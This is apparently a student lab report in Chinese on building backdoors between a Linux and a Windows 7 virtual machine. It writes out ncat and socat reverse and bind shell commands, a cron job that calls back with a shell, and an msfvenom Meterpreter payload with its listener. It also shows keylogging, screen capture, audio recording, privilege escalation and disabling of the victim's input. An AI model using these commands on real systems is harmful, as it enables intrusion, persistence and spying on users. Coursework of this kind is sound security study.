Exp2 后门原理与实践
准备工作
1. 查看Linux和Win的IP地址,ping通
-
Linux地址
Win7地址 -
ping
2.下载ncat并装载到win7主机
3.下载socat并装载到win7主机
使用netcat获取主机操作Shell,cron启动
Linux获得win7 Shell
- linux作为攻击方,win7作为靶机
- linux打开8125端口,开始监听
nc -l -p 8125
- win7反弹链接Linux
ncat.exe -e cmd.exe 192.168.72.130 8125 //-e filename:连接后执行该文件
- linux下看到win7的命令提示
Win7获得Linux Shell
- win7作为攻击方,Linux作为靶机
- win7使用ncat,监听端口5218
ncat.exe -l -p 5218 //-l:设置监听模式,-p:端口
- Linux反弹连接win7
ncat 192.168.72.116 5218 -e /bin/sh
- win7下获得一个linux shell,可运行任何指令
Cron启动
什么是crontab
cron是linux下的定时执行工具。crontab是使用cron的命令,该命令从标准输入设备读取指令,并将其存放于“crontab”文件中,以供之后读取和执行。
简单理解了一下就是写一个程序,可以规定哪年哪月哪日什么时间、或者一个周期(年、月、日、周、小时)内的具体时间执行一个命令。由于cron是每分钟运行一次,所以可以具体到分钟。指令格式如下:
crontab指令基本格式 :
* * * * * command
分 时 日 月 周 命令
第1列表示分钟1~59 每分钟用*或者 */1表示
第2列表示小时1~23(0表示0点)
第3列表示日期1~31
第4列表示月份1~12
第5列标识号星期0~6(0表示星期天)
第6列要运行的命令
实验步骤
- win7下打开监听,监听端口5218
ncat.exe -l -p 5218
- linux下
crontab -e // crontab指令增加一条定时任务,"-e"表示编辑
no crontab for root - using an empty one
Select an editor. To change later, run 'select-editor'.
1. /usr/bin/vim.gtk
2. /bin/nano <---- easiest
3. /usr/bin/vim.basic
4. /usr/bin/mcedit
5. /usr/bin/vim.tiny
Choose 1-5 [2]: 3 //选择编辑器3
- (根据前文crontab格式)修改最后一行指令
55 * * * * nc 192.168.72.116 5218 -e/bin/sh
//当时是51分,设置为55分便于观察结果
- 静静等待~
- win7下获得Linux shell
使用socat获取主机操作Shell, 任务计划启动
socat是什么
实验步骤
-
win7下打开计算机管理->任务计划程序->创建任务
-
输入任务名,新建触发器,这里第一次做的时候我没有设置触发器,所以任务不启动
-
新建操作,在“程序或脚本”内添加拷贝好的socat.exe路径,在添加参数一栏写入
tcp-listen:5218 exec:cmd.exe,pty,stderr
//监听5218端口
//把cmd.exe绑定到端口5218
- linux下,输入
socat - tcp:192.168.72.116:5218 //这个命令等同于nc 192.168.72.116 5218
- 到了设置好的触发时间后,即可获得win7的cmd
并不是监听端一定是攻击方,反弹连接的也不一定就是靶机。在双方的连接过程中,谁绑定了shell,谁就暴露了shell,就会被对方获得。
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
什么是meterpreter
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。
实验步骤
- Linux下,生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.72.130 LPORT=5218 -f exe > bd5218.exe
//控制端ip
- 利用ncat传输文件到系统
/*win7*/
ncat.exe -l 5218 > bd5218.exe
/*linux*/
nc 192.168.72.116 5218 < bd5218.exe
传输成功
-
msfconsole
linux下进入msf控制台(据说每次进入图案都不一眼,我这是什么?小幽灵吗!)
/*开启监听模块,设置payload*/
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
/*设置反弹回连的ip和端口*/
set LHOST 192.168.72.130
set LPORT 5218
/*执行监听*/
exploit
- win7下运行后门程序,
bd5218.exe
可以看到linux已经获得了win7的shell
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
通过
help
命令可以查看meterpreter能够实现的功能,有好多! -
尝试截屏
-
击键记录,这里我是没有在任何文件内输入直接瞎敲的,居然也记录下来了,真的可怕∑(っ°Д°;)っ
-
音频录制,
-d
设置时间
提权
- 开始不太懂,去百度了一下“提权”是什么(其实看完了还是有点懵):
提高自己在服务器中的权限,主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升WEBSHELL权限以夺得该服务器权限。
- 看了这些好像明白了
就比如在windows中你本身登录的用户是guest,然后通过提权后就变成超级管理员,拥有了管理Windows的所有权限。提权是黑客的专业名词,一般用于网站入侵和系统入侵中。
- 参考资料:后渗透之meterpreter使用攻略
getuid
获取用户识别码,getsystem
提权
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
从网上下载一些来源不可靠的文件,或者点进去一个挂马网站?
(2)例举你知道的后门如何启动起来(win及linux)的方式?
开机自启动,或者伪装成一个正常的程序,用户就中招了
(3)Meterpreter有哪些给你映像深刻的功能?
- uictl指令还挺令我印象深刻的,如果自己的电脑出了这种问题应该会慌得不行吧
/*开启或禁止键盘/鼠标*/
uictl [enable/disable] [keyboard/mouse/all]
uictl disable keyboard //Σσ(・Д・;)键盘不能用了!
uictl disable mouse //了∑(っ°Д°;)っ鼠标也不能用!
uictl enable all //赶紧打开打开……
- 还有这个
Stdapi: Audio Output Commands
=============================
Command Description
------- -----------
play play an audio file on target system, nothing written on disk
感觉好像有点好玩,但还没做出来,虽然显示了“正在播放”,但是win7上没声音,哭辽
(4)如何发现自己有系统有没有被安装后门?
感觉杀毒软件还是蛮可靠的,然后就平常不要去不正规的网站乱下东西就行
放到自己主机上立刻给我查出来了
实验总结与体会
感觉这次实验做起来还是蛮有趣的,但同时也让我意识到了系统安全的重要性,meterpreter功能这么强大,不也意味着自己的电脑一旦被植入了后门,后果的严重性吗?完全就是待宰的羔羊了,人家想干嘛干嘛,想看什么看什么,没有丝毫隐私可言了
问题与解决
- Question1
-
开始使用
ipconfig
查询win7的地址是,显示是10.1.1.116
,无法与Linux主机ping通
-
将Win7的ip地址修改到与Linux同一网段即可
-